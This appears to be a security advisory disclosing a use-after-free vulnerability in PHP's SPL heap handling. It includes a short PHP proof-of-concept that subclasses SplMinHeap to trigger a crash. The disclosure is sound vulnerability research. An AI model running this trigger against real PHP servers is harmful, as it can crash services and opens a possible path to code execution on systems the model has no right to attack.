Use-After-Free in PHP

High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.

The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver.

Below is a simple code that will trigger a crash:

<?php
 class SplMinHeap1 extends SplMinHeap {
 public function compare($a, $b) {
 return -parent::notexist($a, $b);
 }
 }
 $h = new SplMinHeap1();
 $h->insert(1);
 $h->insert(6);
 $h->insert(5);
 $h->insert(2 ); 
 ?>